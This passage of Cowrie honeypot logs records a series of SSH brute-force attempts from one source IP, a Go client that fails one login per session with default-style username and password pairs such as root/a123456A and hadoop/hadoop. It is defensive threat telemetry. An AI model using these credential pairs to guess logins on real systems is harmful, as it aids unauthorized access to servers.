20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:11.506340Z","src_ip":"192.109.200.78","session":"b7ccfb35c907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:11.750523Z","src_ip":"192.109.200.78","session":"b7ccfb35c907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:12.835158Z","src_ip":"192.109.200.78","session":"b7ccfb35c907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58654,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a6a27347d5","protocol":"ssh","message":"New connection: 192.109.200.78:58654 (10.17.0.5:22) [session: 24a6a27347d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:14.712641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:14.716858Z","src_ip":"192.109.200.78","session":"24a6a27347d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:14.797405Z","src_ip":"192.109.200.78","session":"24a6a27347d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passw0rd","message":"login attempt [user/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:15.041019Z","src_ip":"192.109.200.78","session":"24a6a27347d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:16.125230Z","src_ip":"192.109.200.78","session":"24a6a27347d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58676,"dst_ip":"10.17.0.5","dst_port":22,"session":"1826018f1b4d","protocol":"ssh","message":"New connection: 192.109.200.78:58676 (10.17.0.5:22) [session: 1826018f1b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:17.861823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:17.870129Z","src_ip":"192.109.200.78","session":"1826018f1b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:17.951874Z","src_ip":"192.109.200.78","session":"1826018f1b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:18.199014Z","src_ip":"192.109.200.78","session":"1826018f1b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:19.400088Z","src_ip":"192.109.200.78","session":"1826018f1b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58696,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd14ed03d18","protocol":"ssh","message":"New connection: 192.109.200.78:58696 (10.17.0.5:22) [session: 0fd14ed03d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:21.017258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:21.021667Z","src_ip":"192.109.200.78","session":"0fd14ed03d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:21.102911Z","src_ip":"192.109.200.78","session":"0fd14ed03d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:21.346939Z","src_ip":"192.109.200.78","session":"0fd14ed03d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.77716279029846,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:21.856014Z","src_ip":"172.81.62.90","session":"5179a7c2fc0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:22.431246Z","src_ip":"192.109.200.78","session":"0fd14ed03d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32792,"dst_ip":"10.17.0.5","dst_port":22,"session":"26436f46a7b4","protocol":"ssh","message":"New connection: 192.109.200.78:32792 (10.17.0.5:22) [session: 26436f46a7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:24.264689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:24.268851Z","src_ip":"192.109.200.78","session":"26436f46a7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:24.349660Z","src_ip":"192.109.200.78","session":"26436f46a7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:24.597677Z","src_ip":"192.109.200.78","session":"26436f46a7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:25.681858Z","src_ip":"192.109.200.78","session":"26436f46a7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32808,"dst_ip":"10.17.0.5","dst_port":22,"session":"68830fb9de1f","protocol":"ssh","message":"New connection: 192.109.200.78:32808 (10.17.0.5:22) [session: 68830fb9de1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:27.391839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:27.396102Z","src_ip":"192.109.200.78","session":"68830fb9de1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:27.476946Z","src_ip":"192.109.200.78","session":"68830fb9de1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:27.721271Z","src_ip":"192.109.200.78","session":"68830fb9de1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:28.807952Z","src_ip":"192.109.200.78","session":"68830fb9de1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32838,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d6ebbb4113","protocol":"ssh","message":"New connection: 192.109.200.78:32838 (10.17.0.5:22) [session: 83d6ebbb4113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:30.555330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:30.560016Z","src_ip":"192.109.200.78","session":"83d6ebbb4113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:30.641096Z","src_ip":"192.109.200.78","session":"83d6ebbb4113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"user","message":"login attempt [openclaw/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:30.886782Z","src_ip":"192.109.200.78","session":"83d6ebbb4113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:31.970848Z","src_ip":"192.109.200.78","session":"83d6ebbb4113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33004,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae58fc910abc","protocol":"ssh","message":"New connection: 192.109.200.78:33004 (10.17.0.5:22) [session: ae58fc910abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:33.837301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:33.841670Z","src_ip":"192.109.200.78","session":"ae58fc910abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:33.921708Z","src_ip":"192.109.200.78","session":"ae58fc910abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:34.165606Z","src_ip":"192.109.200.78","session":"ae58fc910abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:35.252060Z","src_ip":"192.109.200.78","session":"ae58fc910abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33024,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6c7a0e53196","protocol":"ssh","message":"New connection: 192.109.200.78:33024 (10.17.0.5:22) [session: f6c7a0e53196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:37.019487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:37.023387Z","src_ip":"192.109.200.78","session":"f6c7a0e53196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:37.103992Z","src_ip":"192.109.200.78","session":"f6c7a0e53196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:37.347673Z","src_ip":"192.109.200.78","session":"f6c7a0e53196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:38.521713Z","src_ip":"192.109.200.78","session":"f6c7a0e53196","protocol":"ssh"}
